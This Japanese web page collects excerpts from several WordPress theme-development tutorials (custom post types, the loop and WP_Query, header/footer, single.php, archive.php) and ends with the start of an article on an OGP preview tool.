labels配列を適切に設定すると、管理画面のメニューやボタン、メッセージが日本語で自然に表示されます。最小構成ではnameとsingular_nameだけでも動作しますが、実務ではすべてのラベルを設定するのがおすすめです。 labels配列の各キー キー表示箇所設定例（実績の場合）nameメニュー名・一覧ページタイトル実績singular_name単数形の名前実績add_new「新規追加」メニュー新規追加add_new_item新規追加画面のタイトル新しい実績を追加edit_item編集画面のタイトル実績を編集new_item新規アイテム新しい実績view_item「表示」リンク実績を表示view_items「一覧を表示」リンク実績一覧を表示search_items検索ボタン実績を検索not_found見つからない時のメッセージ実績が見つかりませんnot_found_in_trashゴミ箱に見つからない時ゴミ箱に実績はありませんall_itemsサブメニュー「すべての○○」すべての実績 完全なラベル設定の実装例 function my_register_post_types() { $labels = array( 'name' => '実績', 'singular_name' => '実績', 'add_new' => '新規追加', 'add_new_item' => '新しい実績を追加', 'edit_item' => '実績を編集', 'new_item' => '新しい実績', 'view_item' => '実績を表示', 'view_items' => '実績一覧を表示', 'search_items' => '実績を検索', 'not_found' => '実績が見つかりません', 'not_found_in_trash' => 'ゴミ箱に実績はありません', 'all_items' => 'すべての実績', 'menu_name' => '実績', ); $args = array( 'labels' => $labels, 'public' => true, 'has_archive' => true, 'menu_icon' => 'dashicons-portfolio', 'menu_position' => 5, 'supports' => array( 'title', 'editor', 'thumbnail', 'excerpt', 'revisions' ), 'show_in_rest' => true, 'rewrite' => array( 'slug' => 'works', 'with_front' => false ), ); register_post_type( 'works', $args ); } add_action( 'init', 'my_register_post_types' ); 'rewrite' => array( 'slug' => 'works', 'with_front' => false )の設定により、URLはhttps://example.com/works/記事スラッグ/の形式になります。'with_front' => falseを指定すると、パーマリンク設定の接頭辞（例: /blog/）が付かなくなります。 なお、register_post_type()のコードを変更した後は、管理画面の「設定」→「パーマリンク設定」で「変更を保存」をクリックして、リライトルールを更新してください。これを忘れると404エラーになることがあります。 アーカイブとテンプレート対応 カスタム投稿タイプを登録したら、フロントエンドの表示用にテンプレートファイルを用意します。WordPressのテンプレート階層に沿って、投稿タイプ専用のテンプレートを作成できます。 has_archiveの設定 'has_archive' => trueを設定すると、投稿タイプのスラッグがそのままアーカイブページのURLになります。例えば投稿タイプworksの場合、https://example.com/works/がアーカイブページになります。 文字列を指定すると、そのスラッグがアーカイブURLに使われます。 // アーカイブURLが /portfolio/ になる 'has_archive' => 'portfolio', テンプレートファイルの対応関係 カスタム投稿タイプに対応するテンプレートファイルは、WordPressのテンプレート階層に基づいて以下の順で読み込まれます。 ### [WordPressループの仕組みを徹底解説｜have_posts・the_postの使い方](https://codequest.work/wordpress-loop-guide/) WordPressループとは、データベースから取得した投稿データを1件ずつ処理し、ページに表示するための繰り返し処理の仕組みです。have_posts()で投稿の有無を判定し、the_post()で現在の投稿データをセットすることで、テンプレートタグを使った柔軟な表示が可能になります。 この記事では、WordPressループの基本構造からサブループの作り方、pre_get_postsによるメインクエリのカスタマイズまで、実践的なコード例とともに解説します。WordPressテーマ開発の基盤となる知識を体系的に身につけましょう。 WordPressテーマ全体の仕組みについては、WordPressテーマのテンプレートファイル一覧と役割で詳しく解説しています。 WordPressループとは？ WordPressループとは、WordPressがデータベースから取得した投稿データを1件ずつ順番に処理するための仕組みです。すべてのWordPressテーマは、記事の一覧ページも個別記事ページも、このループを使って投稿内容を表示しています。 メインクエリとループの関係 WordPressはURLを解析して、表示するべきコンテンツを自動的にデータベースから取得します。この自動取得の仕組みが「メインクエリ」です。メインクエリで取得された投稿データは、グローバル変数$wp_queryに格納され、ループで順番に処理されます。 たとえば、トップページにアクセスすると最新の投稿が10件取得され、カテゴリページにアクセスするとそのカテゴリに属する投稿が取得されます。開発者がSQLを書く必要はなく、WordPressが適切なクエリを自動実行してくれます。 have_posts() と the_post() の役割 ループの中核を担う2つの関数を理解しましょう。 have_posts()は、まだ表示していない投稿が残っているかどうかをtrue/falseで返す関数です。ループの継続条件として使います。投稿が残っていればtrueを返し、すべて処理し終えるとfalseを返してループが終了します。 the_post()は、内部カウンターを1つ進めて、次の投稿データをグローバル変数$postにセットする関数です。これにより、ループ内でthe_title()やthe_content()などのテンプレートタグが正しいデータを参照できるようになります。 メインループの基本構造 WordPressループの基本形は、if文で投稿の存在を確認し、while文で1件ずつ処理する構造です。以下がもっとも基本的なテンプレートコードです。 <?php if ( have_posts() ) : ?> <?php while ( have_posts() ) : the_post(); ?> <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <h2><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2> <div class="entry-content"> <?php the_excerpt(); ?> </div> </article> <?php endwhile; ?> <?php else : ?> <p>投稿が見つかりませんでした。</p> <?php endif; ?> この構造を分解すると、以下の4ステップで処理が進みます。 if ( have_posts() ) — 投稿が1件以上あるか確認する while ( have_posts() ) — 未処理の投稿がある限りループを続ける the_post() — 次の投稿データを$postにセットする テンプレートタグで表示 — the_title()等で投稿内容を出力する else節は投稿が0件のときに実行されます。検索結果が見つからなかった場合や、カテゴリに投稿が存在しない場合に「投稿が見つかりません」のようなメッセージを表示します。 個別投稿ページでのループ 個別投稿ページ（single.php）でも同じループ構造を使います。メインクエリが1件の投稿のみを返すため、ループは1回だけ実行されます。 <?php if ( have_posts() ) : ?> <?php while ( have_posts() ) : the_post(); ?> <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <h1><?php the_title(); ?></h1> <?php if ( has_post_thumbnail() ) : ?> <div class="post-thumbnail"> <?php the_post_thumbnail( 'large' ); ?> </div> <?php endif; ?> <div class="entry-content"> <?php the_content(); ?> </div> <div class="entry-meta"> <span>公開日: <?php the_date(); ?></span> <span>著者: <?php the_author(); ?></span> </div> </article> <?php endwhile; ?> <?php endif; ?> 一覧ページと個別ページで同じhave_posts() / the_post()の構造を使う点がWordPressループの統一的な特徴です。テンプレートファイルの種類が変わっても、ループの書き方は同じです。 ループ内で使えるテンプレートタグ一覧 ループ内では、the_post()によってセットされた投稿データを、テンプレートタグで取得・表示できます。以下に、よく使うテンプレートタグをまとめます。 テンプレートタグ出力内容使用例the_title()投稿タイトル記事見出し・リンクテキストthe_content()投稿本文（全文）個別記事ページthe_excerpt()抜粋文（110文字）一覧ページのプレビューthe_permalink()投稿のURLリンクのhref属性the_post_thumbnail()アイキャッチ画像記事カードのサムネイルthe_date()投稿日（同日の初回のみ表示）日付表示get_the_date()投稿日（常に取得）日付を毎回表示したい場合the_modified_date()最終更新日更新日の表示the_author()著者名著者情報の表示the_category()カテゴリリンク一覧カテゴリラベルthe_tags()タグリンク一覧タグラベルthe_ID()投稿IDHTML属性やCSS用post_class()投稿に応じたCSSクラスarticleタグのclass属性comments_number()コメント数コメントセクション the_で始まるタグは値を直接出力（echo）し、get_the_で始まるタグは値を返す（return）という違いがあります。PHPの変数に代入したい場合や条件分岐で使いたい場合はget_the_系を使いましょう。 各テンプレートタグの詳しいパラメータや応用例は、WordPress関数一覧をご覧ください。 WP_Queryでサブループを作る メインループとは別に、追加の投稿一覧を表示したい場合はWP_Queryクラスを使ってサブループ（カスタムループ）を作ります。たとえば、サイドバーに「人気記事」を表示したり、記事末尾に「関連記事」を表示する場合に使います。 メインループとサブループの違い 項目メインループサブループ（WP_Query）クエリの実行者WordPress（自動）開発者（手動）取得条件URLに基づいて自動決定パラメータで自由に指定グローバル変数$wp_queryを使用独自の変数に格納後処理不要wp_reset_postdata()が必須使用場面テンプレートのメインコンテンツサイドバー・関連記事・ウィジェット WP_Queryの基本的な使い方 以下は、特定カテゴリの最新5件を取得して表示するサブループの例です。 <?php $args = array( 'post_type' => 'post', 'posts_per_page' => 5, 'category_name' => 'wordpress', 'orderby' => 'date', 'order' => 'DESC', ); $custom_query = new WP_Query( $args ); if ( $custom_query->have_posts() ) : while ( $custom_query->have_posts() ) : $custom_query->the_post(); ?> <article> <h3><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3> <p><?php echo get_the_date(); ?></p> </article> <?php endwhile; wp_reset_postdata(); // 必ずリセットする endif; ?> ポイントは3つです。 パラメータ配列で条件を指定する — posts_per_page（件数）、category_name（カテゴリ）、orderby（並び順）など $custom_query->have_posts() で呼び出す — グローバルのhave_posts()ではなく、作成したインスタンスのメソッドを使う wp_reset_postdata() で後処理する — サブループ終了後にグローバル$postを元に戻す wp_reset_postdata() の重要性 WP_Queryのサブループでは、the_post()を呼び出すたびにグローバル変数$postがサブループの投稿データで上書きされます。ループ終了後にwp_reset_postdata()を呼ばないと、メインループの投稿データが壊れたままになり、以降のテンプレートタグが意図しないデータを返す原因になります。 // サブループ終了後に必ず呼ぶ wp_reset_postdata(); // これにより $post がメインクエリの投稿に復帰する // 以降の the_title() 等はメインの投稿データを参照する WP_Queryを使ったアーカイブページの実装例は、archive.phpの使い方で詳しく解説しています。 pre_get_postsでメインクエリをカスタマイズ メインクエリの取得条件を変更したい場合は、pre_get_postsアクションフックを使います。テンプレートファイル内で新しいWP_Queryを作るのではなく、WordPressが自動実行するメインクエリそのものを書き換えるため、無駄なクエリが発生せず、パフォーマンスの面でも推奨される方法です。 pre_get_postsはfunctions.phpに記述します。以下に代表的なカスタマイズ例を示します。 表示件数を変更する トップページの表示件数を管理画面の設定とは別に変更する例です。 ### [WordPress header.phpとfooter.phpの作り方｜テーマの共通パーツを実装する](https://codequest.work/wordpress-header-footer-php-guide/) WordPress の header.php と footer.php は、サイト全ページで共通して表示されるヘッダーとフッターのテンプレートファイルです。この2つのファイルを正しく実装すれば、ナビメニュー・ロゴ・コピーライトなどの共通パーツを1か所で管理でき、全ページに反映されるようになります。 header.php には wp_head() という必須関数があり、CSSやJavaScriptの読み込み、SEOプラグインのmetaタグ出力などがすべてこの関数を通じて行われます。同様に footer.php には wp_footer() が必須で、スクリプトの読み込みや管理バーの表示に使われます。これらを省略するとプラグインやテーマの機能が正常に動作しなくなるため、テーマ自作時に最も重要なポイントです。 この記事はWordPressテーマのテンプレートファイル一覧と役割の詳細記事です。テンプレートファイル全体の仕組みを先に把握しておくと、header.php と footer.php の位置づけがより理解しやすくなります。 header.phpとfooter.phpの役割 WordPressテーマでは、各ページのテンプレート（single.php、page.php、archive.php など）がページごとの表示を担当しますが、ヘッダーとフッターは全ページで共通です。そのため header.php と footer.php を分離し、各テンプレートから呼び出す仕組みになっています。 get_header() と get_footer() で呼び出す 各テンプレートファイル（single.php、page.php など）の冒頭で get_header() を、末尾で get_footer() を呼び出すと、それぞれ header.php と footer.php が読み込まれます。 <?php get_header(); ?> <main> <!-- ページ固有のコンテンツ --> </main> <?php get_footer(); ?> この構造により、ヘッダーやフッターのHTML変更は header.php / footer.php を1か所修正するだけで全ページに反映されます。 wp_head() と wp_footer() が必須な理由 wp_head() と wp_footer() は、WordPressのアクションフックを実行するテンプレートタグです。プラグインやテーマが CSS・JavaScript・metaタグなどを出力する際、すべてこのフックを利用します。 もしこれらを省略すると、以下のような問題が発生します。 SEOプラグインのmetaタグが出力されない CSSやJavaScriptが正しく読み込まれない 管理バー（ログイン中に表示される黒いバー）が表示されない プラグインの機能が全般的に動作しなくなる ブロックエディタのスタイルが適用されない WordPress公式テーマレビューチーム（Theme Review Team）のガイドラインでも、wp_head() と wp_footer() の実装は必須要件とされています。テーマ自作時には必ず含めてください。 CSSやJavaScriptの読み込み方法を詳しく知りたい方は、CSSの正しい読み込み方とJavaScriptの正しい読み込み方を参照してください。いずれも wp_head() / wp_footer() のフックを通じて動作します。 header.phpの基本的な書き方 header.php には、HTMLの開始タグから <body> タグの開始、サイトヘッダーのナビゲーションまでを記述します。以下が基本的なテンプレートです。 <!DOCTYPE html> <html <?php language_attributes(); ?>> <head> <meta charset="<?php bloginfo( 'charset' ); ?>"> <meta name="viewport" content="width=device-width, initial-scale=1"> <?php wp_head(); ?> </head> <body <?php body_class(); ?>> <?php wp_body_open(); ?> <header class="site-header"> <div class="site-branding"> <?php if ( has_custom_logo() ) : ?> <?php the_custom_logo(); ?> <?php else : ?> <a href="<?php echo esc_url( home_url( '/' ) ); ?>"> <?php bloginfo( 'name' ); ?> </a> <?php endif; ?> </div> <nav class="main-navigation"> <?php wp_nav_menu( [ 'theme_location' => 'primary', 'container' => false, 'menu_class' => 'nav-menu', 'fallback_cb' => false, ] ); ?> </nav> </header> 各要素の役割を順番に解説します。 DOCTYPE宣言と language_attributes() <!DOCTYPE html> はHTML5文書であることを宣言します。language_attributes() は WordPress の設定言語に応じた lang 属性を出力します。日本語サイトの場合は lang="ja" が出力されます。 <!-- 出力結果 --> <html lang="ja"> charset と viewport bloginfo( 'charset' ) は WordPress の設定に基づいた文字エンコーディング（通常は UTF-8）を出力します。viewport の meta タグはレスポンシブデザインに必須です。 wp_head() の配置位置 wp_head() は必ず </head> の直前に配置します。この関数が実行されると、WordPress本体・テーマ・プラグインが wp_enqueue_scripts フックで登録した CSS や JavaScript が <link> タグや <script> タグとして出力されます。 body_class() と wp_body_open() body_class() は、現在のページに応じたCSSクラスを <body> タグに追加します。トップページなら home、投稿ページなら single single-post のようなクラスが自動付与されるため、ページ種別ごとのスタイル調整に役立ちます。 <!-- トップページの場合の出力例 --> <body class="home blog logged-in admin-bar"> <!-- 投稿ページの場合の出力例 --> <body class="single single-post postid-123"> wp_body_open() は WordPress 5.2 で追加されたテンプレートタグで、<body> タグの直後に配置します。Google Tag Managerの <noscript> タグなど、<body> 直後に出力したいコードをプラグインが挿入するために使われます。 カスタムロゴとサイト名 has_custom_logo() で管理画面「カスタマイズ > サイト基本情報」に設定したロゴがあるかを判定し、ある場合は the_custom_logo() で出力します。ロゴが未設定の場合は bloginfo( 'name' ) でサイト名をテキストとして表示するフォールバックを入れておくと親切です。 ナビメニューの出力 wp_nav_menu() は、管理画面「外観 > メニュー」で作成したナビゲーションメニューを表示する関数です。theme_location で呼び出すメニューの位置名を指定します。この位置名は後述する functions.php の register_nav_menus() で登録する必要があります。 footer.phpの基本的な書き方 footer.php には、フッターのコンテンツ（ウィジェット、ナビメニュー、コピーライト等）と、wp_footer()、</body>、</html> の閉じタグを記述します。 <footer class="site-footer"> <div class="footer-widgets"> <?php if ( is_active_sidebar( 'footer-1' ) ) : ?> <div class="footer-widget-area"> <?php dynamic_sidebar( 'footer-1' ); ?> </div> <?php endif; ?> <?php if ( is_active_sidebar( 'footer-2' ) ) : ?> <div class="footer-widget-area"> <?php dynamic_sidebar( 'footer-2' ); ?> </div> <?php endif; ?> </div> <nav class="footer-navigation"> <?php wp_nav_menu( [ 'theme_location' => 'footer', 'container' => false, 'menu_class' => 'footer-menu', 'depth' => 1, 'fallback_cb' => false, ] ); ?> </nav> <div class="site-info"> <p>© <?php echo date( 'Y' ); ?> <?php bloginfo( 'name' ); ?></p> </div> </footer> <?php wp_footer(); ?> </body> </html> wp_footer() の役割 wp_footer() は </body> の直前に配置します。この関数は主に以下の処理を行います。 wp_enqueue_scripts で $in_footer = true として登録された JavaScript の出力 WordPress 管理バーの HTML・CSS・JavaScript の出力 プラグインがフッター領域に追加するスクリプトやトラッキングコードの出力 wp_footer() を省略すると、管理バーが表示されなくなるのが最もわかりやすい影響です。それだけでなく、多くのプラグインがフッター領域でスクリプトを出力するため、機能不全に陥る可能性があります。 ### [WordPress single.phpの使い方とカスタマイズ｜個別投稿ページのテンプレート作成](https://codequest.work/wordpress-single-php-guide/) single.phpとは、WordPressで個別の投稿記事を表示するためのテンプレートファイルです。ブログ記事やニュース記事など、1つの投稿を単体で表示するページのレイアウトを制御します。 この記事では、single.phpの基本的な書き方からカスタマイズ方法まで、実践的なコード例を交えて解説します。前後の記事リンク、関連記事の表示、カスタム投稿タイプ別テンプレートの作成方法など、個別投稿ページを自由に設計するために必要な知識を網羅しています。 WordPressテーマのテンプレートファイル全体の構成については、WordPressテーマのテンプレートファイル一覧と役割で詳しく解説しています。 single.phpとは？テンプレート階層での役割 single.phpは、WordPressのテンプレート階層（Template Hierarchy）において、個別の投稿記事を表示する際に使用されるテンプレートファイルです。ユーザーがブログ記事のURLにアクセスしたとき、WordPressは以下の優先順位でテンプレートファイルを検索します。 優先順位テンプレートファイル説明1（最優先）single-{post_type}.phpカスタム投稿タイプ別テンプレート（例: single-product.php）2single.phpすべての投稿タイプ共通の個別投稿テンプレート3singular.php投稿・固定ページ共通のテンプレート4（最終）index.phpすべてのページの最終フォールバック たとえば「product」というカスタム投稿タイプがある場合、WordPressはまずsingle-product.phpを探し、なければsingle.php、それもなければsingular.php、最終的にはindex.phpを使用します。 通常の投稿（post）の場合はsingle-post.phpが最優先ですが、ほとんどのテーマではsingle.phpを作成して対応しています。一覧ページのテンプレートであるarchive.phpが複数の投稿をループ表示するのに対し、single.phpは1つの投稿を詳細に表示する役割を持ちます。 single.phpの基本的な書き方 single.phpの基本構造は、WordPressループの中で投稿データを取得・表示するというシンプルなものです。以下に、最小限の構成から実用的な構成まで順を追って解説します。 最小構成のsingle.php まずは最もシンプルなsingle.phpの例です。ヘッダー・フッターの読み込みと、WordPressループ内でのタイトル・本文の表示が基本になります。 <?php get_header(); ?> <main> <?php while ( have_posts() ) : the_post(); ?> <article> <h1><?php the_title(); ?></h1> <div class="post-content"> <?php the_content(); ?> </div> </article> <?php endwhile; ?> </main> <?php get_footer(); ?> have_posts()とthe_post()はWordPressループの基本です。single.phpでは投稿が1件だけですが、ループ構文は必須です。the_post()を呼ぶことでグローバルな投稿データがセットアップされ、the_title()やthe_content()などのテンプレートタグが正しく動作するようになります。 実用的な構成のsingle.php 実際のテーマでは、タイトルと本文に加えて、アイキャッチ画像、投稿日、著者名、カテゴリーなどのメタ情報も表示します。以下は実用的なsingle.phpの例です。 <?php get_header(); ?> <main class="site-main"> <?php while ( have_posts() ) : the_post(); ?> <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <!-- 記事ヘッダー --> <header class="post-header"> <h1 class="post-title"><?php the_title(); ?></h1> <div class="post-meta"> <time datetime="<?php echo esc_attr( get_the_date( 'c' ) ); ?>"> <?php echo esc_html( get_the_date() ); ?> </time> <span class="post-author"> <?php the_author(); ?> </span> <span class="post-category"> <?php the_category( ', ' ); ?> </span> </div> </header> <!-- アイキャッチ画像 --> <?php if ( has_post_thumbnail() ) : ?> <div class="post-thumbnail"> <?php the_post_thumbnail( 'large' ); ?> </div> <?php endif; ?> <!-- 記事本文 --> <div class="post-content"> <?php the_content(); ?> </div> <!-- タグ表示 --> <?php if ( has_tag() ) : ?> <div class="post-tags"> <?php the_tags( '<span>', '</span><span>', '</span>' ); ?> </div> <?php endif; ?> </article> <?php endwhile; ?> </main> <?php get_sidebar(); ?> <?php get_footer(); ?> 各テンプレートタグの役割は次のとおりです。 テンプレートタグ出力内容補足the_title()投稿タイトルh1タグ内で使用するthe_content()投稿本文ブロックエディタの内容がそのまま出力されるthe_post_thumbnail()アイキャッチ画像サイズ指定可能（thumbnail, medium, large, full）get_the_date()公開日引数でフォーマット指定可能（例: 'Y年n月j日'）the_author()著者名リンク付きはthe_author_posts_link()を使用the_category()カテゴリー名引数でセパレータを指定可能the_tags()タグ名3つの引数で前後の文字列を指定可能post_class()投稿のCSSクラス投稿タイプやカテゴリーに応じたクラスが自動付与される WordPress関数の詳細については、WordPress関数一覧も参考にしてください。 前後の記事リンクを表示する 個別投稿ページでは、前後の記事へのナビゲーションリンクを設置するのが一般的です。WordPressにはprevious_post_link()とnext_post_link()という専用のテンプレートタグが用意されています。 基本的な前後リンクの実装 <nav class="post-navigation"> <div class="nav-previous"> <?php previous_post_link( '%link', '« %title' ); ?> </div> <div class="nav-next"> <?php next_post_link( '%link', '%title »' ); ?> </div> </nav> %linkはリンクタグに置き換わり、%titleは前後の記事のタイトルに置き換わります。最初の記事には「前の記事」リンクが、最後の記事には「次の記事」リンクが自動的に非表示になります。 同一カテゴリー内での前後リンク 第3引数にtrueを渡すことで、同じカテゴリーの記事だけを対象に前後リンクを生成できます。カテゴリーごとにコンテンツの連続性を保ちたい場合に有効です。 <nav class="post-navigation"> <div class="nav-previous"> <?php previous_post_link( '%link', '« %title', true ); ?> </div> <div class="nav-next"> <?php next_post_link( '%link', '%title »', true ); ?> </div> </nav> また、WordPress 4.1以降ではthe_post_navigation()関数も使えます。こちらはラッパーとなるHTMLも含めて出力してくれるため、シンプルに実装できます。 <?php the_post_navigation( array( 'prev_text' => '« %title', 'next_text' => '%title »', 'in_same_term' => true, 'taxonomy' => 'category', ) ); ?> 関連記事を表示する方法 関連記事を表示することで、読者のサイト内回遊率を向上させることができます。プラグインを使わずに、同じカテゴリーの記事をWP_Queryで取得して表示する方法を紹介します。 同カテゴリーから関連記事を取得する 以下のコードでは、現在表示中の記事と同じカテゴリーから最新3件の関連記事を取得し、タイトルとアイキャッチ画像をリンク付きで表示します。 ### [WordPress archive.phpの使い方とカスタマイズ｜functions.phpとの連携も解説](https://codequest.work/wordpress-archive-php-guide/) archive.phpとは、WordPressのテンプレート階層においてカテゴリ・タグ・日付・著者などのアーカイブページを一括で制御するテンプレートファイルです。テーマ開発では、このファイル1つで複数種類の一覧ページをまとめて管理でき、functions.phpと連携することで表示件数の変更やカスタム投稿タイプのアーカイブ有効化なども行えます。 この記事では、archive.phpの基本的な書き方からfunctions.phpとの連携、実践的なカスタマイズ方法までを解説します。WordPressテーマのテンプレートファイル一覧と役割と合わせて読むことで、テンプレート階層の理解が深まります。 archive.phpとは？テンプレート階層での役割 WordPressには「テンプレート階層」という仕組みがあり、表示するページの種類に応じて使用するテンプレートファイルが決まります。archive.phpは、この階層の中でアーカイブ系ページの汎用テンプレートとして機能します。 具体的には、以下のページがarchive.phpの対象です。 カテゴリーページ（例: /category/wordpress/） タグページ（例: /tag/php/） 日付アーカイブ（例: /2026/05/） 著者ページ（例: /author/admin/） カスタム投稿タイプのアーカイブ（例: /works/） カスタムタクソノミーのアーカイブ テンプレートの優先順位（フォールバック） テンプレート階層では、より具体的なファイルが優先されます。例えばカテゴリーページでは以下の順で探索されます。 優先順位ファイル名説明1（最優先）category-{slug}.php特定カテゴリ専用（スラッグ指定）2category-{id}.php特定カテゴリ専用（ID指定）3category.phpカテゴリ全般4archive.phpアーカイブ全般（フォールバック先）5index.php最終フォールバック つまり、category.phpやtag.phpがなくても、archive.phpさえあればアーカイブ系ページは全て表示できます。逆に、特定の種類だけデザインを変えたい場合はcategory.phpやtag.phpを個別に作成します。 archive.phpの基本的な書き方 最もシンプルなarchive.phpの構成は以下の通りです。WordPressループを使って投稿を一覧表示します。 <?php get_header(); ?> <main class="site-main"> <header class="archive-header"> <h1><?php the_archive_title(); ?></h1> <?php the_archive_description( '<div class="archive-description">', '</div>' ); ?> </header> <div class="post-list"> <?php if ( have_posts() ) : ?> <?php while ( have_posts() ) : the_post(); ?> <article class="post-card"> <?php if ( has_post_thumbnail() ) : ?> <div class="post-thumbnail"> <a href="<?php the_permalink(); ?>"> <?php the_post_thumbnail( 'medium' ); ?> </a> </div> <?php endif; ?> <h2><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2> <div class="post-excerpt"> <?php the_excerpt(); ?> </div> </article> <?php endwhile; ?> <?php else : ?> <p>記事が見つかりませんでした。</p> <?php endif; ?> </div> <?php the_posts_pagination(); ?> </main> <?php get_sidebar(); ?> <?php get_footer(); ?> 主要な関数の解説 関数役割the_archive_title()アーカイブの種類に応じたタイトルを自動出力（例: 「カテゴリー: WordPress」）the_archive_description()カテゴリ・タグの説明文を出力have_posts() / the_post()WordPressループ（メインクエリの投稿を順に処理）the_posts_pagination()ページネーション（ページ送り）を出力get_template_part()パーツテンプレートを読み込み（コードの再利用に有効） the_archive_title()は自動で「カテゴリー:」「タグ:」といった接頭辞を付けます。この接頭辞を除去するカスタマイズ方法は後述します。 functions.phpでarchive.phpを活用する設定 archive.phpの表示内容はfunctions.phpから柔軟にコントロールできます。ここでは、実務で頻繁に使う設定を紹介します。 アーカイブページの表示件数を変更する（pre_get_posts） WordPressのデフォルトではアーカイブの表示件数は「設定 → 表示設定」の値（初期値10件）が使われます。pre_get_postsフックを使えば、テンプレートを変更せずに表示件数をコントロールできます。 function custom_archive_posts_per_page( $query ) { // 管理画面は除外 & メインクエリのみ対象 if ( is_admin() || ! $query->is_main_query() ) { return; } // アーカイブページの表示件数を20件に変更 if ( $query->is_archive() ) { $query->set( 'posts_per_page', 20 ); } } add_action( 'pre_get_posts', 'custom_archive_posts_per_page' ); 注意点: is_admin()とis_main_query()のチェックは必須です。これを省略すると、管理画面やサブクエリまで影響を受けてしまいます。 カスタム投稿タイプのアーカイブを有効化する カスタム投稿タイプをarchive.phpで一覧表示するには、register_post_type()でhas_archiveをtrueに設定します。 function register_works_post_type() { register_post_type( 'works', array( 'labels' => array( 'name' => '実績', 'singular_name' => '実績', ), 'public' => true, 'has_archive' => true, // /works/ でアーカイブページが有効になる 'rewrite' => array( 'slug' => 'works' ), 'supports' => array( 'title', 'editor', 'thumbnail', 'excerpt' ), 'show_in_rest' => true, // ブロックエディタ対応 ) ); } add_action( 'init', 'register_works_post_type' ); has_archive => trueを設定すると、/works/というURLでアーカイブページが自動的に生成されます。テンプレートの優先順位はarchive-works.php → archive.php → index.phpです。 登録後にパーマリンクが404になる場合は、「設定 → パーマリンク」で「変更を保存」をクリックしてリライトルールを再生成してください。 the_archive_title()の接頭辞を除去する デフォルトのthe_archive_title()は「カテゴリー: WordPress」のように接頭辞が付きます。これを除去するにはget_the_archive_titleフィルターを使います。 function remove_archive_title_prefix( $title ) { if ( is_category() ) { $title = single_cat_title( '', false ); } elseif ( is_tag() ) { $title = single_tag_title( '', false ); } elseif ( is_post_type_archive() ) { $title = post_type_archive_title( '', false ); } elseif ( is_date() ) { $title = get_the_date( 'Y年n月' ); } elseif ( is_author() ) { $title = get_the_author(); } return $title; } add_filter( 'get_the_archive_title', 'remove_archive_title_prefix' ); archive.phpのカスタマイズ例 基本形をベースに、実務で使えるカスタマイズパターンを紹介します。 条件分岐でアーカイブの種類ごとに表示を変える 1つのarchive.phpで、カテゴリ・タグ・日付など種類ごとに見出しや説明文を出し分けることができます。 ### [OGPプレビューツール｜SNSでのシェア表示をリアルタイムで確認する方法](https://codequest.work/ogp-preview-tool/) OGP（Open Graph Protocol）とは、WebページがSNSでシェアされたときに表示されるタイトル・説明文・画像を制御するためのメタデータ仕様です。OGPを正しく設定しないと、意図しないタイトルや画像でシェアされてしまい、クリック率が大幅に低下します。 しかし、OGPの確認作業は意外と面倒です。メタタグを書いてデプロイし、各SNSのデバッグツールで個別にチェックして、修正してまたデプロイ……。この繰り返しに時間を取られた経験はありませんか？ 本記事では、Twitter（X）・Facebook・LINE・Discord・Slackの5つのSNSプレビューをリアルタイムで一括確認できる無料ツールの使い方と、OGP設定の基礎知識を実践的に解説します。 OGPプレビューツールを使ってみる OGPプレビューツールの概要 このツールには「URL確認」と「OGP作成」の2つのモードがあり、用途に応じて切り替えて使えます。 モード用途主な機能URL確認公開済みページのOGPをチェックURLを入力するだけでOGPタグを取得・プレビュー表示OGP作成新規ページのOGPを事前に設計各項目を入力してプレビュー確認＋メタタグをコピー どちらのモードでも、X（Twitter）・Facebook・LINE・Discord・Slackの5プラットフォームでのシェア表示をリアルタイムでプレビューできます。 使い方①：URL確認モード 公開済みのWebページに設定されているOGPタグを確認するモードです。以下の手順で使います。 ステップ1：URLを入力する 「URL確認」タブを選択し、チェックしたいページのURLを入力します。 ステップ2：OGPタグの取得結果を確認する ツールがページのHTMLからOGPメタタグを自動的に読み取り、設定されている値を一覧で表示します。タイトル・説明文・画像URL・サイト名・タイプなど、主要なOGPタグをまとめて確認できます。 ステップ3：SNSプレビューで表示を確認する 取得したOGP情報をもとに、各SNSでシェアしたときの表示がプレビューで表示されます。X・Facebook・LINE・Discord・Slackの5つのプラットフォームを切り替えて確認できます。 ステップ4：チェック結果を確認する OGPタグの設定状況がチェックリスト形式で表示されます。必須タグが未設定の場合や、推奨サイズを満たしていない画像がある場合は警告が表示されるため、修正すべきポイントが一目でわかります。 使い方②：OGP作成モード これからOGPを設定するページ向けのモードです。各項目を入力しながら、リアルタイムでプレビューを確認できます。 入力項目一覧 項目タグ名必須説明タイトルog:title必須SNSでシェアされたときに表示されるタイトル（推奨60文字以内）説明文og:description推奨タイトル下に表示される説明文（推奨120文字以内）画像og:image推奨シェア時のサムネイル画像（推奨1200×630px）URLog:url任意ページの正規URLサイト名og:site_name任意サイトの名称タイプog:type任意website / article / product / profile 等Twitterカードtwitter:card推奨summary_large_image（大）または summary（小） タイトルと説明文にはリアルタイムの文字数カウンターが表示されるため、推奨文字数を超えていないかすぐに確認できます。 画像のアップロード og:image にはドラッグ＆ドロップまたはクリックでファイルを選択できます。アップロードした画像はすぐにプレビューに反映されるため、各SNSでの見え方をその場で確認できます。 メタタグのコピー 入力した情報をもとに、HTMLのメタタグが自動生成されます。ワンクリックでクリップボードにコピーできるので、そのまま自分のサイトの<head>セクションに貼り付けるだけで設定が完了します。 対応SNSプラットフォームと表示の違い OGPの表示はSNSごとに異なります。同じメタタグでも、プラットフォームによってタイトルの文字数制限や画像のトリミング位置が違うため、複数のSNSでの見え方を事前に確認することが重要です。 プラットフォームカード形式画像表示特徴X（Twitter）summary_large_image / summary大きい画像 or 正方形サムネイルtwitter:card で表示形式を選択可能Facebookリンクカード1200×630推奨og:image のアスペクト比 1.91:1 を推奨LINEリンクプレビュー正方形にトリミングタイトルが短く表示されるため簡潔さが重要DiscordEmbedサイドバー付きカード左側にカラーバーが表示される独自のレイアウトSlackUnfurl右側にサムネイルテキスト主体のレイアウトで画像は小さめに表示 このように表示形式がプラットフォームごとに大きく異なるため、1つのSNSだけで確認して満足してはいけません。本ツールなら5つのプレビューをタブ切り替えで即座に確認できます。 OGPの基礎知識：必須タグと推奨タグ OGP（Open Graph 